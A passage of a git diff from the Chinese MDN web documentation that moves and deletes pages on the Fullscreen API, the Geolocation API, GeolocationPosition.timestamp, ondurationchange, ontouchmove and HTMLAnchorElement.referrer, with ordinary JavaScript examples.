值得留意的是,目前 Gecko 和 WebKit 的实现之间的关键差异:Gecko 自动为元素添加了CSS规则,使其拉伸以填满屏幕: "width: 100%; height: 100%"。WebKit 没有这样做,相反地,它将全屏元素居中,不改变大小,而屏幕的其他部分为黑色。为了在 Webkit 中获得相同的全屏行为,你需要自行为元素添加 CSS "width: 100%; height: 100%;":

- -
#myvideo:-webkit-full-screen {
-  width: 100%;
-  height: 100%;
-}
-
- -

另一方面, 如果你尝试在在 Gecko 上模拟 WebKit 的行为,你需要把你想要呈现的元素放在另一个实际调整为全屏幕的元素中, 并使用 CSS 规则调整内部的元素,从而达到你想要的样式。

- -

通知

- -

当成功进入全屏模式时,包含该元素的文档会收到一个 {{Event("fullscreenchange")}} 事件。当退出全屏模式时,文档会再一次收到 {{Event("fullscreenchange")}} 事件。注意此 {{Event("fullscreenchange")}} 事件,不管在文档进入和退出全屏模式时,都不会提供任何信息,但如果文档的 {{DOMxRef("document.fullscreenElement", "fullscreenElement")}} 为非空(`null`),即处于全屏模式中。

- -

当全屏请求失败时

- -

你并不总是可以进入全屏模式。例如 {{HTMLElement("iframe")}} 元素具有 {{HTMLAttrXRef("allowfullscreen", "iframe")}} 属性,可选择是否将其内容以全屏模式显示。另外,几种特定的内容,比如窗体插件(windowed plug-ins),不能以全屏模式显示。尝试将不能以全屏模式显示的元素(或者此元素的父元素和后代元素)的时候,全屏请求是无效的。而相应元素会收到一个 mozfullscreenerror 事件。当全屏请求失败时,Firefox 会在 Web 控制台上打一条错误信息解释请求为什么失败。但是在 Chrome 和新版的 Opera 中,不会生成这样的警告。

- -
-

注意:全屏请求必须在事件处理函数中调用,否则将会被拒绝。 

-
- -

退出全屏模式

- -

 

- -

用户总是可以自行退出全屏模式;详见 {{Anch("Things your users want to know")}}。你也可以以编程方式通过调用 {{DOMxRef("Document.exitFullscreen()")}} 方法来做到这点。

- -

其他信息

- -

{{DOMxRef("Document")}} 提供了一些额外的信息, 在开发全屏网络应用时会很有用:

- -
-
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}
-
fullscreenElement 属性可以告诉你当前以全屏模式显示的元素 {{DOMxRef("Element")}} 。若此项非空,文档处于全屏模式中,否则不在。
-
{{DOMxRef("Document.fullscreenEnabled")}}
-
fullscreenEnabled 属性可以告诉你文档当前是否为允许请求进入全屏幕模式的状态。
-
- -

你的用户想了解的信息

- -

你可能想确保使你的用户得知他可以按 ESC  键(或 F11) 退出全屏模式。

- -

此外,当处在全屏模式中,浏览其他页面、切换标签页、或者切换到其他应用 (例如使用 Alt-Tab)  也会导致退出全屏模式。

- -

示例

- -

在这个例子中,网页中显示了一个视频。按下 Return 或 Enter 键让用户在视频的窗口显示和全屏显示之间切换。

- -

View Live Examples

- -

监听 Enter 键

- -

当页面加载完成时,这段代码可以设置一个事件监听器以监听 Enter 键。

- -
document.addEventListener("keydown", function(e) {
-  if (e.keyCode == 13) {
-    toggleFullScreen();
-  }
-}, false);
-
- -

切换全屏模式

- -

当用户按下 Enter 键时,这段代码会被调用,像上面示例看到的那样。

- -
function toggleFullScreen() {
-  if (!document.fullscreenElement) {
-    document.documentElement.requestFullscreen();
-  } else {
-    if (document.exitFullscreen) {
-      document.exitFullscreen();
-    }
-  }
-}
- -

这段代码首先检查 {{DOMxRef("document")}} 的fullscreenElement 属性的值(亦要检查带有前缀 mozmswebkit)。如果其为 null,文档当前处于窗口模式中,所以我们需要切换到全屏模式。通过调用{{DOMxRef("element.requestFullscreen()")}},可以切换到全屏模式。

- -

如果全屏模式已经激活 (fullscreenElement 不为 null),我们可以调用 {{DOMxRef("document.exitFullscreen()")}}(或其前缀化的版本,这取决于你使用的浏览器)。

- -

前缀

- -
-

注意:现在,只有 Firefox 64 和 Chrome 71 支持无前缀。

-
- -

目前并不是所有的浏览器都实现了 API 的无前缀版本(你可以使用 Fscreen 获取跨浏览器全屏API),这里有一份表格总结了前缀和它们之间的命名区别:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
StandardWebKit (Safari) / Blink (Chrome & Opera) / EdgeGecko (Firefox)Internet Explorer
{{DOMxRef("Document.fullscreen")}} {{Deprecated_Inline}}webkitIsFullScreenmozFullScreen-
{{DOMxRef("Document.fullscreenEnabled")}}webkitFullscreenEnabledmozFullScreenEnabledmsFullscreenEnabled
{{DOMxRef("DocumentOrShadowRoot.fullscreenElement")}}webkitFullscreenElementmozFullScreenElementmsFullscreenElement
{{DOMxRef("Document.onfullscreenchange")}}onwebkitfullscreenchangeonmozfullscreenchangeonMSFullscreenChange
{{DOMxRef("Document.onfullscreenerror")}}onwebkitfullscreenerroronmozfullscreenerroronMSFullscreenError
{{DOMxRef("Document.exitFullscreen()")}}webkitExitFullscreen()mozCancelFullScreen()msExitFullscreen()
{{DOMxRef("Element.requestFullscreen()")}}webkitRequestFullscreen()mozRequestFullScreen()msRequestFullscreen()
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}初始版本
- -

浏览器兼容性

- -

Document.fullscreen

- -
- - -

{{Compat("api.Document.fullscreen")}}

- -

Document.fullscreenEnabled

- -
- - -

{{Compat("api.Document.fullscreenEnabled")}}

-
-
- -

扩展链接

- - - -

 

diff --git a/files/zh-cn/web/api/geolocation/using_geolocation/index.html b/files/zh-cn/web/api/geolocation/using_geolocation/index.html deleted file mode 100644 index 54d8665516..0000000000 --- a/files/zh-cn/web/api/geolocation/using_geolocation/index.html +++ /dev/null @@ -1,303 +0,0 @@ ---- -title: 使用地理位置定位 -slug: Web/API/Geolocation/Using_geolocation -tags: - - 地理位置 API - - 指南 -translation_of: Web/API/Geolocation_API ---- -

地理位置 API 允许用户向 Web 应用程序提供他们的位置。出于隐私考虑,报告地理位置前会先请求用户许可。

- -

geolocation 对象

- -

地理位置 API 通过 {{domxref("NavigatorGeolocation.geolocation","navigator.geolocation")}} 提供。

- -

如果该对象存在,那么地理位置服务可用。

- -
if ("geolocation" in navigator) {
-  /* 地理位置服务可用 */
-} else {
-  /* 地理位置服务不可用 */
-}
-
- -
-

注意: 在 Firefox 24 和之前的浏览器中,即使 API 被禁止,代码 "geolocation" in navigator 也总是会得到 true。这在 Firefox 25 中已经被修复 ({{ bug(884921) }})。

-
- -

获取当前定位

- -

您可以调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数获取用户当前定位位置。这会异步地请求获取用户位置,并查询定位硬件来获取最新信息。当定位被确定后,定义的回调函数就会被执行。您可以选择性地提供第二个回调函数,当有错误时会被执行。第三个参数也是可选的,您可以通过该对象参数设定最长可接受的定位返回时间、等待请求的时间和是否获取高精度定位。

- -
-

注意: 默认情况下,{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会尽快返回一个低精度结果,这在您不关心准确度只关心快速获取结果的情况下很有用。有 GPS 的设备可能需要一分钟或更久来获取 GPS 定位,在这种情况下 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会返回低精度数据(基于 IP 的定位或 Wi-Fi 定位)。

-
- -
navigator.geolocation.getCurrentPosition(function(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-});
- -

上述示例中,当获取位置后 do_something() 函数会被执行。

- -

监视定位

- -

您可以设定一个回调函数来响应定位数据发生的变更(设备发生了移动,或获取到了更高精度的地理位置信息)。您可以通过 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数实现该功能。它与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 接受相同的参数,但回调函数会被调用多次。错误回调函数与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 中一样是可选的,也会被多次调用。

- -
-

注意: 您可以直接调用 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数,不需要先调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数。

-
- -
var watchID = navigator.geolocation.watchPosition(function(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-});
- -

{{domxref("Geolocation.watchPosition","watchPosition()")}} 函数会返回一个 ID,唯一地标记该位置监视器。您可以将这个 ID 传给 {{domxref("Geolocation.clearWatch()","clearWatch()")}} 函数来停止监视用户位置。

- -
navigator.geolocation.clearWatch(watchID);
-
- -

调整返回结果

- -

{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 和 {{domxref("Geolocation.watchPosition","watchPosition()")}} 都接受一个成功回调、一个可选的失败回调和一个可选的 PositionOptions 对象。

- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionOptions")}}

- -

对 {{domxref("Geolocation.watchPosition()","watchPosition")}} 的调用类似于这样:

- -
function geo_success(position) {
-  do_something(position.coords.latitude, position.coords.longitude);
-}
-
-function geo_error() {
-  alert("Sorry, no position available.");
-}
-
-var geo_options = {
-  enableHighAccuracy: true,
-  maximumAge        : 30000,
-  timeout           : 27000
-};
-
-var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);
- -

watchPosition 实际使用示例: http://www.thedotproduct.org/experiments/geo/

- -

描述位置

- -

用户的位置由一个包含 Coordinates 对象的 Position 对象描述。

- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Position")}}

- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Coordinates")}}

- -

处理错误

- -

getCurrentPosition()watchPosition() 的错误回调函数以 PositionError 为第一个参数。

- -
function errorCallback(error) {
-  alert('ERROR(' + error.code + '): ' + error.message);
-};
-
- -

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionError")}}

- -

地理位置示例

- - - -

HTML

- -
<p><button onclick="geoFindMe()">Show my location</button></p>
-<div id="out"></div>
- -

 

- -
 
- -

JavaScript

- -
function geoFindMe() {
-  var output = document.getElementById("out");
-
-  if (!navigator.geolocation){
-    output.innerHTML = "<p>您的浏览器不支持地理位置</p>";
-    return;
-  }
-
-  function success(position) {
-    var latitude  = position.coords.latitude;
-    var longitude = position.coords.longitude;
-
-    output.innerHTML = '<p>Latitude is ' + latitude + '° <br>Longitude is ' + longitude + '°</p>';
-
-    var img = new Image();
-    img.src = "http://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&zoom=13&size=300x300&sensor=false";
-
-    output.appendChild(img);
-  };
-
-  function error() {
-    output.innerHTML = "无法获取您的位置";
-  };
-
-  output.innerHTML = "<p>Locating…</p>";
-
-  navigator.geolocation.getCurrentPosition(success, error);
-}
-
- -

在线示例

- -

{{ EmbedLiveSample('Geolocation_Live_Example',350,410) }}

- -

授权请求

- -

所有 addons.mozilla.org 上需要使用地理位置的插件必须在使用 API 前显式地请求权限。用户的响应将会存储在 pref 参数指定的偏好设置中。callback 参数指定的函数会被调用并包含一个代表用户响应的 boolean 参数。如果为 true,代表插件可以访问地理位置数据。

- -
function prompt(window, pref, message, callback) {
-    let branch = Components.classes["@mozilla.org/preferences-service;1"]
-                           .getService(Components.interfaces.nsIPrefBranch);
-
-    if (branch.getPrefType(pref) === branch.PREF_STRING) {
-        switch (branch.getCharPref(pref)) {
-        case "always":
-            return callback(true);
-        case "never":
-            return callback(false);
-        }
-    }
-
-    let done = false;
-
-    function remember(value, result) {
-        return function() {
-            done = true;
-            branch.setCharPref(pref, value);
-            callback(result);
-        }
-    }
-
-    let self = window.PopupNotifications.show(
-        window.gBrowser.selectedBrowser,
-        "geolocation",
-        message,
-        "geo-notification-icon",
-        {
-            label: "Share Location",
-            accessKey: "S",
-            callback: function(notification) {
-                done = true;
-                callback(true);
-            }
-        }, [
-            {
-                label: "Always Share",
-                accessKey: "A",
-                callback: remember("always", true)
-            },
-            {
-                label: "Never Share",
-                accessKey: "N",
-                callback: remember("never", false)
-            }
-        ], {
-            eventCallback: function(event) {
-                if (event === "dismissed") {
-                    if (!done) callback(false);
-                    done = true;
-                    window.PopupNotifications.remove(self);
-                }
-            },
-            persistWhileVisible: true
-        });
-}
-
-prompt(window,
-       "extensions.foo-addon.allowGeolocation",
-       "Foo Add-on wants to know your location.",
-       function callback(allowed) { alert(allowed); });
-
- -

浏览器兼容性

- -
{{ CompatibilityTable() }}
- -
 
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
- Removed in 15.0
- Reintroduced in 16.0
5
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}1.0.1{{CompatUnknown()}}10.60
- Removed in 15.0
- Reintroduced in 16.0
{{CompatUnknown()}}
-
- -

Gecko 注释

- -

Firefox 支持根据您的 Wi-Fi 信息通过谷歌定位服务来定位。在 Firefox 和 Google 的数据交互中,Wi-Fi 接入点信息、访问令牌(类似于一个两周过期的 cookie)和用户的 IP 地址会被发送。关于数据使用情况,请查看 Mozilla 的隐私声明和 Google 的隐私声明

- -

Firefox 3.6 (Gecko 1.9.2) 增加了 Linux 上对 GPSD (GPS daemon) 服务定位的支持。

- -

另请参阅

- - diff --git a/files/zh-cn/web/api/geolocation_api/index.html b/files/zh-cn/web/api/geolocation_api/index.html new file mode 100644 index 0000000000..54d8665516 --- /dev/null +++ b/files/zh-cn/web/api/geolocation_api/index.html @@ -0,0 +1,303 @@ +--- +title: 使用地理位置定位 +slug: Web/API/Geolocation/Using_geolocation +tags: + - 地理位置 API + - 指南 +translation_of: Web/API/Geolocation_API +--- +

地理位置 API 允许用户向 Web 应用程序提供他们的位置。出于隐私考虑,报告地理位置前会先请求用户许可。

+ +

geolocation 对象

+ +

地理位置 API 通过 {{domxref("NavigatorGeolocation.geolocation","navigator.geolocation")}} 提供。

+ +

如果该对象存在,那么地理位置服务可用。

+ +
if ("geolocation" in navigator) {
+  /* 地理位置服务可用 */
+} else {
+  /* 地理位置服务不可用 */
+}
+
+ +
+

注意: 在 Firefox 24 和之前的浏览器中,即使 API 被禁止,代码 "geolocation" in navigator 也总是会得到 true。这在 Firefox 25 中已经被修复 ({{ bug(884921) }})。

+
+ +

获取当前定位

+ +

您可以调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数获取用户当前定位位置。这会异步地请求获取用户位置,并查询定位硬件来获取最新信息。当定位被确定后,定义的回调函数就会被执行。您可以选择性地提供第二个回调函数,当有错误时会被执行。第三个参数也是可选的,您可以通过该对象参数设定最长可接受的定位返回时间、等待请求的时间和是否获取高精度定位。

+ +
+

注意: 默认情况下,{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会尽快返回一个低精度结果,这在您不关心准确度只关心快速获取结果的情况下很有用。有 GPS 的设备可能需要一分钟或更久来获取 GPS 定位,在这种情况下 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 会返回低精度数据(基于 IP 的定位或 Wi-Fi 定位)。

+
+ +
navigator.geolocation.getCurrentPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

上述示例中,当获取位置后 do_something() 函数会被执行。

+ +

监视定位

+ +

您可以设定一个回调函数来响应定位数据发生的变更(设备发生了移动,或获取到了更高精度的地理位置信息)。您可以通过 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数实现该功能。它与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 接受相同的参数,但回调函数会被调用多次。错误回调函数与 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 中一样是可选的,也会被多次调用。

+ +
+

注意: 您可以直接调用 {{domxref("Geolocation.watchPosition","watchPosition()")}} 函数,不需要先调用 {{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 函数。

+
+ +
var watchID = navigator.geolocation.watchPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

{{domxref("Geolocation.watchPosition","watchPosition()")}} 函数会返回一个 ID,唯一地标记该位置监视器。您可以将这个 ID 传给 {{domxref("Geolocation.clearWatch()","clearWatch()")}} 函数来停止监视用户位置。

+ +
navigator.geolocation.clearWatch(watchID);
+
+ +

调整返回结果

+ +

{{domxref("Geolocation.getCurrentPosition","getCurrentPosition()")}} 和 {{domxref("Geolocation.watchPosition","watchPosition()")}} 都接受一个成功回调、一个可选的失败回调和一个可选的 PositionOptions 对象。

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionOptions")}}

+ +

对 {{domxref("Geolocation.watchPosition()","watchPosition")}} 的调用类似于这样:

+ +
function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Sorry, no position available.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);
+ +

watchPosition 实际使用示例: http://www.thedotproduct.org/experiments/geo/

+ +

描述位置

+ +

用户的位置由一个包含 Coordinates 对象的 Position 对象描述。

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Position")}}

+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","Coordinates")}}

+ +

处理错误

+ +

getCurrentPosition()watchPosition() 的错误回调函数以 PositionError 为第一个参数。

+ +
function errorCallback(error) {
+  alert('ERROR(' + error.code + '): ' + error.message);
+};
+
+ +

{{page("/zh-CN/docs/Web/API/Geolocation.getCurrentPosition","PositionError")}}

+ +

地理位置示例

+ + + +

HTML

+ +
<p><button onclick="geoFindMe()">Show my location</button></p>
+<div id="out"></div>
+ +

 

+ +
 
+ +

JavaScript

+ +
function geoFindMe() {
+  var output = document.getElementById("out");
+
+  if (!navigator.geolocation){
+    output.innerHTML = "<p>您的浏览器不支持地理位置</p>";
+    return;
+  }
+
+  function success(position) {
+    var latitude  = position.coords.latitude;
+    var longitude = position.coords.longitude;
+
+    output.innerHTML = '<p>Latitude is ' + latitude + '° <br>Longitude is ' + longitude + '°</p>';
+
+    var img = new Image();
+    img.src = "http://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&zoom=13&size=300x300&sensor=false";
+
+    output.appendChild(img);
+  };
+
+  function error() {
+    output.innerHTML = "无法获取您的位置";
+  };
+
+  output.innerHTML = "<p>Locating…</p>";
+
+  navigator.geolocation.getCurrentPosition(success, error);
+}
+
+ +

在线示例

+ +

{{ EmbedLiveSample('Geolocation_Live_Example',350,410) }}

+ +

授权请求

+ +

所有 addons.mozilla.org 上需要使用地理位置的插件必须在使用 API 前显式地请求权限。用户的响应将会存储在 pref 参数指定的偏好设置中。callback 参数指定的函数会被调用并包含一个代表用户响应的 boolean 参数。如果为 true,代表插件可以访问地理位置数据。

+ +
function prompt(window, pref, message, callback) {
+    let branch = Components.classes["@mozilla.org/preferences-service;1"]
+                           .getService(Components.interfaces.nsIPrefBranch);
+
+    if (branch.getPrefType(pref) === branch.PREF_STRING) {
+        switch (branch.getCharPref(pref)) {
+        case "always":
+            return callback(true);
+        case "never":
+            return callback(false);
+        }
+    }
+
+    let done = false;
+
+    function remember(value, result) {
+        return function() {
+            done = true;
+            branch.setCharPref(pref, value);
+            callback(result);
+        }
+    }
+
+    let self = window.PopupNotifications.show(
+        window.gBrowser.selectedBrowser,
+        "geolocation",
+        message,
+        "geo-notification-icon",
+        {
+            label: "Share Location",
+            accessKey: "S",
+            callback: function(notification) {
+                done = true;
+                callback(true);
+            }
+        }, [
+            {
+                label: "Always Share",
+                accessKey: "A",
+                callback: remember("always", true)
+            },
+            {
+                label: "Never Share",
+                accessKey: "N",
+                callback: remember("never", false)
+            }
+        ], {
+            eventCallback: function(event) {
+                if (event === "dismissed") {
+                    if (!done) callback(false);
+                    done = true;
+                    window.PopupNotifications.remove(self);
+                }
+            },
+            persistWhileVisible: true
+        });
+}
+
+prompt(window,
+       "extensions.foo-addon.allowGeolocation",
+       "Foo Add-on wants to know your location.",
+       function callback(allowed) { alert(allowed); });
+
+ +

浏览器兼容性

+ +
{{ CompatibilityTable() }}
+ +
 
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}1.0.1{{CompatUnknown()}}10.60
+ Removed in 15.0
+ Reintroduced in 16.0
{{CompatUnknown()}}
+
+ +

Gecko 注释

+ +

Firefox 支持根据您的 Wi-Fi 信息通过谷歌定位服务来定位。在 Firefox 和 Google 的数据交互中,Wi-Fi 接入点信息、访问令牌(类似于一个两周过期的 cookie)和用户的 IP 地址会被发送。关于数据使用情况,请查看 Mozilla 的隐私声明和 Google 的隐私声明

+ +

Firefox 3.6 (Gecko 1.9.2) 增加了 Linux 上对 GPSD (GPS daemon) 服务定位的支持。

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/geolocationposition/timestamp/index.html b/files/zh-cn/web/api/geolocationposition/timestamp/index.html new file mode 100644 index 0000000000..e4c731f868 --- /dev/null +++ b/files/zh-cn/web/api/geolocationposition/timestamp/index.html @@ -0,0 +1,49 @@ +--- +title: GeolocationPosition.timestamp +slug: Web/API/GeolocationPosition/获取该位置时的时间戳 +translation_of: Web/API/GeolocationPosition/timestamp +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

The GeolocationPosition.timestamp read-only property returns a {{domxref("DOMTimeStamp")}} object, represents the date and the time of the creation of the {{domxref("GeolocationPosition")}} object it belongs to. The precision is to the millisecond.

+ +

Syntax

+ +
var timestamp = geolocationPositionInstance.timestamp
+
+ +

Value

+ +

A {{domxref("DOMTimeStamp")}} object instance.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#dom-geolocationposition-timestamp', 'GeolocationPosition.timestamp')}}{{Spec2('Geolocation')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.GeolocationPosition.timestamp")}}

+ +

See also

+ + diff --git "a/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" "b/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" deleted file mode 100644 index e4c731f868..0000000000 --- "a/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: GeolocationPosition.timestamp -slug: Web/API/GeolocationPosition/获取该位置时的时间戳 -translation_of: Web/API/GeolocationPosition/timestamp ---- -
{{securecontext_header}}{{APIRef("Geolocation API")}}
- -

The GeolocationPosition.timestamp read-only property returns a {{domxref("DOMTimeStamp")}} object, represents the date and the time of the creation of the {{domxref("GeolocationPosition")}} object it belongs to. The precision is to the millisecond.

- -

Syntax

- -
var timestamp = geolocationPositionInstance.timestamp
-
- -

Value

- -

A {{domxref("DOMTimeStamp")}} object instance.

- -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Geolocation', '#dom-geolocationposition-timestamp', 'GeolocationPosition.timestamp')}}{{Spec2('Geolocation')}}Initial definition
- -

Browser compatibility

- - - -

{{Compat("api.GeolocationPosition.timestamp")}}

- -

See also

- - diff --git a/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html b/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html deleted file mode 100644 index 3bbf3d5ce4..0000000000 --- a/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: GlobalEventHandlers.ontouchmove -slug: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove -translation_of: Web/API/GlobalEventHandlers/ontouchmove -translation_of_original: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove ---- -
{{ApiRef("HTML DOM")}}
- -

A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchmove")}} event.

- -
-

注意:这个属性还没有正式的标准。它在 {{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} 说明书里被规定且不在 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}中。这个属性没有被广泛应用。

-
- -

Syntax

- -
var moveHandler = someElement.ontouchmove;
-
- -

Return value

- -
-
moveHandler
-
The touchmove event handler for element someElement.
-
- -

Example

- -

This example shows two ways to use ontouchmove to set an element's touchmove event handler.

- -
<html>
-<script>
-function moveTouch(ev) {
- // Process the event
-}
-function init() {
- var el=document.getElementById("target1");
- el.ontouchmove = moveTouch;
-}
-</script>
-<body onload="init();">
-<div id="target1"> Touch me ... </div>
-<div id="target2" ontouchmove="moveTouch(event)"> Touch me ... </div>
-</body>
-</html>
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchmove')}}{{Spec2('Touch Events 2')}}Non-stable version.
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support     
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support        
-
- -

See also

- - diff --git a/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html b/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html new file mode 100644 index 0000000000..2c3923fca9 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html @@ -0,0 +1,52 @@ +--- +title: GlobalEventHandlers.ondurationchange +slug: Web/API/GlobalEventHandlers/时长改变 +tags: + - API + - Audio + - Video +translation_of: Web/API/GlobalEventHandlers/ondurationchange +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("GlobalEventHandlers")}} 的ondurationchange属性是一个处理 {{event("durationchange")}} 事件的{{domxref("EventHandler")}} 。

+ +

durationchange事件会在duration发生变更时触发。

+ +

语法

+ +
element.ondurationchange = handlerFunction;
+var handlerFunction = element.ondurationchange;
+
+ +

handlerFunction可以为null也可以是一个处理该事件的JavaScript方法

+ +

规范说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-ondurationchange','ondurationchange')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容

+ + + +

{{Compat("api.GlobalEventHandlers.ondurationchange")}}

+ +

其他

+ + diff --git "a/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" "b/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" deleted file mode 100644 index 2c3923fca9..0000000000 --- "a/files/zh-cn/web/api/globaleventhandlers/\346\227\266\351\225\277\346\224\271\345\217\230/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: GlobalEventHandlers.ondurationchange -slug: Web/API/GlobalEventHandlers/时长改变 -tags: - - API - - Audio - - Video -translation_of: Web/API/GlobalEventHandlers/ondurationchange ---- -
{{ ApiRef("HTML DOM") }}
- -

{{domxref("GlobalEventHandlers")}} 的ondurationchange属性是一个处理 {{event("durationchange")}} 事件的{{domxref("EventHandler")}} 。

- -

durationchange事件会在duration发生变更时触发。

- -

语法

- -
element.ondurationchange = handlerFunction;
-var handlerFunction = element.ondurationchange;
-
- -

handlerFunction可以为null也可以是一个处理该事件的JavaScript方法

- -

规范说明

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG','#handler-ondurationchange','ondurationchange')}}{{Spec2('HTML WHATWG')}}
- -

浏览器兼容

- - - -

{{Compat("api.GlobalEventHandlers.ondurationchange")}}

- -

其他

- - diff --git a/files/zh-cn/web/api/htmlanchorelement/referrer/index.html b/files/zh-cn/web/api/htmlanchorelement/referrer/index.html deleted file mode 100644 index b3e30b3fe2..0000000000 --- a/files/zh-cn/web/api/htmlanchorelement/referrer/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: HTMLAnchorElement.referrer -slug: Web/API/HTMLAnchorElement/referrer -translation_of: Web/API/HTMLAnchorElement/referrerPolicy ---- -
{{APIRef}}{{SeeCompatTable}}
- -

HTMLAnchorElement.referrer 属性对应于 HTML 中 {{HTMLElement("a")}} 标签的 {{htmlattrxref("referrer","a")}} 属性,它可以控制用户在点击这个链接时所发出的 HTTP 请求的 Referer 请求头的值。

- -

语法

- -
refStr = anchorElt.referrer;
-anchorElt.referrer = refStr;
- -

属性值

- -
-
-
    -
  • "no-referrer" 意味着不要发送 Referer 请求头。
  • -
  • "origin"  意味着所发送的 Referer 请求头的值为当前页面的源,即 location.origin 的值。
  • -
  • "unsafe-url" 意味着所发送的 Referrer 请求头的值为当前页面完整的 url(即 location.href)去掉尾部的哈希(即 location.hash)之后的值。正如该选项的名字所言(unsafe),此选项是不安全的,它可以将一个 HTTPS 页面的路径信息透露给第三方。
  • -
-
-
- -

示例

- -
var elt = document.createElement("a");
-var linkText = document.createTextNode("My link");
-elt.appendChild(linkText);
-elt.href = "https://developer.mozilla.org/en-US/";
